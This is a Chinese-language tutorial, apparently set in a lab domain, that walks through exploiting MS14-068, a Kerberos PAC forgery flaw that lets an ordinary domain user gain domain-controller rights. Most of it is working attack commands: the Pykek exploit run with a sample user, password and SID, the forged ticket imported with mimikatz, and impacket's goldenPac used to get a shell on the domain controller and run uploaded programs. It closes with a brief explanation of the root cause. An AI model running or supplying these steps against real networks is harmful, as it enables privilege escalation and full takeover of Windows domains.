MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。
攻击流程:
MS14-068对应的补丁为KB3011780,可在域控上通过systeminfo查看是否安装此补丁。
一、在域内主机jerry上通过dir来访问域控的共享文件夹,示拒绝访问。
dir \\OWA2010SP3.0day.org\c$
二、通过Pykek工具利用漏洞,我这里使用的是将python脚本编译之后的exe文件。
参数说明:
-u 域账号+@+域名称,这里是jerry+@+rootkit.org
-p 为当前用户的密码,即jerry的密码
-s为jerry的SID值,可以通过whoami/all来获取用户的SID值
-d为当前域的域控
MS14-068.exe -u sqladmin@0day.org -p admin!@#45 -s S-1-5-21-1812960810-2335050734-3517558805-1142 -d OWA2010SP3.0day.org
脚本执行成功会在当前目录下生成一个ccache文件。
三、使用mimikatz导入生成的ccache文件,导入之前cmd下使用命令klist purge或者在mimikatz中使用kerberos::purge删除当前缓存的kerberos票据。
klist purge
kerberos::ptc TGT_sqladmin@0day.org.ccache
再次dir访问域控共享就可以成功访问。
dir \\OWA2010SP3.0day.org\c$
impacket工具包里面的goldenPac.py,这个工具是结合ms14-068加psexec的产物,利用起来十分顺手。
这里用到的是编译的exe文件。
goldenPac.exe 0day.org/sqladmin:admin!@#45@OWA2010SP3.0day.org
当然此工具不止是得到一个shell,我们甚至可以直接让该域控运行我们上传的程序。
这个漏洞中主要的问题是存在于KDC会根据客户端指定PAC中数字签名的加密算法,以及PAC的加密算法,来校验PAC的合法性。这使得攻击者可通过伪造PAC,修改PAC中的SID,导致KDC判断攻击者为高权限用户,从而导致权限提升漏洞的产生。